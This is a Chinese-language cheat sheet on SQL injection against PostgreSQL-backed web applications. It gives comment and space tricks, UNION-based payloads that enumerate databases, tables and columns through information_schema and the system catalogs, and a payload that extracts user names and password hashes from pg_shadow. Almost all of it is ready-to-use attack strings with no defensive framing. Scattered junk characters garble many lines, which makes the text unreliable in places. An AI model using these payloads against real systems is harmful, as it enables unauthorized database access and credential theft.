结合了MSSQL MySQL Oracle的一些特点; w. y4 l3 c+ X) Y! b) D
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/$ [6 j( i) |" _8 z6 M) \
连接符: %20 , + , /**/ 内置函数:6 L/ ?6 h r% ~, ~# v4 V6 q% z* w
current_database() //当前数据库名
5 i: _8 Q( R7 y. ?session_user //会话用户
1 f3 ^, c [2 v* Icurrent_user //当前数据库用户6 R0 S0 F @7 N( @
user //当前用户4 c% p: N9 ?1 x/ a* A
version() //数据库版本 Union注射:# I+ S; k( I/ K4 Q7 ^
order by n–
5 u4 p7 {9 W4 y6 u7 tand 1=2 union select null,null,null–! F5 D2 ]+ {0 ]4 p! v/ P
and 1=2 union select ‘beach’,null,null–
& R. u g0 k% [5 uand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
4 J$ T- \' d; ^2 cgroup_concat(table_name), e ]' @2 c& y
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–) p% x" u( B* e2 m1 i
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–# r$ N2 e- a' U
(老版本)" j% ]9 t% m0 \1 n7 H9 Q
pg_class.oid对应pg_attribute.attrelid J, ]! D5 t8 ?, w
pg_class.relname表名
/ r9 N0 e/ }) i. e6 b9 \4 Cpg_attribute.attname字段名 select relname from pg_class获取表名
* B: C1 M& b8 ~* `. Aselect oid from pg_class where 条件 获取参数
1 }" z3 q. y9 e0 i$ pselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:1 m0 i9 R5 q" |; ~
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表 `' J" I; z9 D
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
7 I0 ]5 A4 O ]0 y( n/ Y- G! u由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名1 u2 G' h3 l5 c; j Z
======================================================================& k, l4 J4 l! H9 e
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 V! E! O) U z& w* kand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |